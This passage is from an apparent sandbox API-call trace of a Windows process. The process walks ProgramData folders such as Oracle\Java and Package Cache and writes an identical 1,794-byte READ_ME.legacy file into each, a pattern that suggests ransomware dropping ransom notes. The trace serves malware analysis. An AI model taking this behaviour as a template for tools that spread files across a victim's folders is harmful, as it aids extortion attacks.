hHeap=0x520000) returned 1 [0111.014] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Oracle\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd1eb4f2b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5b98 [0111.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0111.014] GetLastError () returned 0x12 [0111.014] SetLastError (dwErrCode=0x12) [0111.014] GetLastError () returned 0x12 [0111.014] SetLastError (dwErrCode=0x12) [0111.014] GetLastError () returned 0x12 [0111.014] SetLastError (dwErrCode=0x12) [0111.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0111.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0111.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0111.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d38 [0111.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5858 [0111.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5858 | out: hHeap=0x520000) returned 1 [0111.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20228 [0111.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20228 | out: hHeap=0x520000) returned 1 [0111.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d38 | out: hHeap=0x520000) returned 1 [0111.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0111.015] FindNextFileW (in: hFindFile=0x5c5b98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd1eb4f2b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0111.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0111.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0111.015] GetLastError () returned 0x12 [0111.015] SetLastError (dwErrCode=0x12) [0111.015] GetLastError () returned 0x12 [0111.015] SetLastError (dwErrCode=0x12) [0111.015] GetLastError () returned 0x12 [0111.015] SetLastError (dwErrCode=0x12) [0111.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0111.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0111.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0111.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c70 [0111.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5d18 [0111.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5d18 | out: hHeap=0x520000) returned 1 [0111.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0111.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0111.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c70 | out: hHeap=0x520000) returned 1 [0111.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0111.016] FindNextFileW (in: hFindFile=0x5c5b98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Java", cAlternateFileName="")) returned 1 [0111.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0111.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0111.016] GetLastError () returned 0x12 [0111.016] SetLastError (dwErrCode=0x12) [0111.016] GetLastError () returned 0x12 [0111.016] SetLastError (dwErrCode=0x12) [0111.016] GetLastError () returned 0x12 [0111.016] SetLastError (dwErrCode=0x12) [0111.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0111.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0111.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0111.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0111.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0111.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0111.017] GetLastError () returned 0x12 [0111.017] SetLastError (dwErrCode=0x12) [0111.017] GetLastError () returned 0x12 [0111.017] SetLastError (dwErrCode=0x12) [0111.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0111.017] GetLastError () returned 0x12 [0111.017] SetLastError (dwErrCode=0x12) [0111.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0111.017] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\READ_ME.legacy" (normalized: "c:\\users\\all users\\oracle\\java\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8 [0111.019] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0111.019] WriteFile (in: hFile=0x5b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.020] CloseHandle (hObject=0x5b8) returned 1 [0111.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0111.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0111.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0111.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0111.020] FindNextFileW (in: hFindFile=0x5c5b98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1eb4f2b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1eb4f2b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1eb4f2b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0111.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0111.021] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0111.021] GetLastError () returned 0x0 [0111.021] SetLastError (dwErrCode=0x0) [0111.021] GetLastError () returned 0x0 [0111.021] SetLastError (dwErrCode=0x0) [0111.021] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0111.021] GetLastError () returned 0x0 [0111.021] SetLastError (dwErrCode=0x0) [0111.021] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ba8 [0111.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ba8 | out: hHeap=0x520000) returned 1 [0111.021] FindNextFileW (in: hFindFile=0x5c5b98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1eb4f2b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1eb4f2b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1eb4f2b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0111.021] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0111.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0111.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0111.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d550 | out: hHeap=0x520000) returned 1 [0111.021] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd1ef048b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5958 [0111.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0111.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0111.022] GetLastError () returned 0x12 [0111.022] SetLastError (dwErrCode=0x12) [0111.022] GetLastError () returned 0x12 [0111.022] SetLastError (dwErrCode=0x12) [0111.022] GetLastError () returned 0x12 [0111.022] SetLastError (dwErrCode=0x12) [0111.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0111.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d660 [0111.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0111.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c70 [0111.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5a18 [0111.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5a18 | out: hHeap=0x520000) returned 1 [0111.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20120 [0111.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20120 | out: hHeap=0x520000) returned 1 [0111.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c70 | out: hHeap=0x520000) returned 1 [0111.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0111.023] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd1ef048b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0111.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0111.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0111.023] GetLastError () returned 0x12 [0111.023] SetLastError (dwErrCode=0x12) [0111.024] GetLastError () returned 0x12 [0111.024] SetLastError (dwErrCode=0x12) [0111.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0111.024] GetLastError () returned 0x12 [0111.024] SetLastError (dwErrCode=0x12) [0111.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0111.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d710 [0111.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0111.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571bf8 [0111.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5a18 [0111.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5a18 | out: hHeap=0x520000) returned 1 [0111.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0111.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0111.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bf8 | out: hHeap=0x520000) returned 1 [0111.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0111.024] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1ef048b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1ef048b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1ef048b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0111.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0111.025] GetLastError () returned 0x12 [0111.025] SetLastError (dwErrCode=0x12) [0111.025] GetLastError () returned 0x12 [0111.025] SetLastError (dwErrCode=0x12) [0111.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0111.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0111.025] GetLastError () returned 0x12 [0111.025] SetLastError (dwErrCode=0x12) [0111.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d60 [0111.025] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0111.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0111.026] GetLastError () returned 0x12 [0111.026] SetLastError (dwErrCode=0x12) [0111.026] GetLastError () returned 0x12 [0111.026] SetLastError (dwErrCode=0x12) [0111.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e238 [0111.026] SetLastError (dwErrCode=0x12) [0111.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0111.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0111.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x52e1d8 [0111.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ba8 [0111.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0111.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0111.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0111.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0111.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ed28 [0111.027] SetLastError (dwErrCode=0x12) [0111.027] GetLastError () returned 0x12 [0111.027] SetLastError (dwErrCode=0x12) [0111.027] GetLastError () returned 0x12 [0111.027] SetLastError (dwErrCode=0x12) [0111.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57edf0 [0111.027] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.028] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.029] CloseHandle (hObject=0x5bc) returned 1 [0111.029] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0111.029] SetLastError (dwErrCode=0x0) [0111.029] GetLastError () returned 0x0 [0111.029] SetLastError (dwErrCode=0x0) [0111.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.030] SetLastError (dwErrCode=0x0) [0111.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0111.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0111.030] SetLastError (dwErrCode=0x0) [0111.030] GetLastError () returned 0x0 [0111.030] SetLastError (dwErrCode=0x0) [0111.030] GetLastError () returned 0x0 [0111.030] SetLastError (dwErrCode=0x0) [0111.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0111.030] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.033] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.034] CloseHandle (hObject=0x5bc) returned 1 [0111.034] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0111.034] SetLastError (dwErrCode=0x0) [0111.034] GetLastError () returned 0x0 [0111.034] SetLastError (dwErrCode=0x0) [0111.034] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.034] SetLastError (dwErrCode=0x0) [0111.035] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0111.035] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0111.035] SetLastError (dwErrCode=0x0) [0111.035] GetLastError () returned 0x0 [0111.035] SetLastError (dwErrCode=0x0) [0111.035] GetLastError () returned 0x0 [0111.035] SetLastError (dwErrCode=0x0) [0111.035] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e878 [0111.035] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.041] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.042] CloseHandle (hObject=0x5bc) returned 1 [0111.042] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0111.042] SetLastError (dwErrCode=0x0) [0111.042] GetLastError () returned 0x0 [0111.042] SetLastError (dwErrCode=0x0) [0111.042] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.042] SetLastError (dwErrCode=0x0) [0111.042] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0111.042] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0111.043] SetLastError (dwErrCode=0x0) [0111.043] GetLastError () returned 0x0 [0111.043] SetLastError (dwErrCode=0x0) [0111.043] GetLastError () returned 0x0 [0111.043] SetLastError (dwErrCode=0x0) [0111.043] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x56f578 [0111.043] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0111.047] WriteFile (in: hFile=0x5bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.049] CloseHandle (hObject=0x5bc) returned 1 [0111.049] FindNextFileW (in: hFindFile=0x5c5958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0111.049] SetLastError (dwErrCode=0x0) [0111.049] GetLastError () returned 0x0 [0111.049] SetLastError (dwErrCode=0x0) [0111.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0111.049] SetLastError (dwErrCode=0x0) [0111.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0111.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0111.049] SetLastError (dwErrCode=0x0) [0111.049] GetLastError () returned 0x0 [0111.049] SetLastError (dwErrCode=0x0) [0111.049] GetLastError () returned 0x0 [0111.050] SetLastError (dwErrCode=0x0) [0111.050] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b220 [0111.050] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package 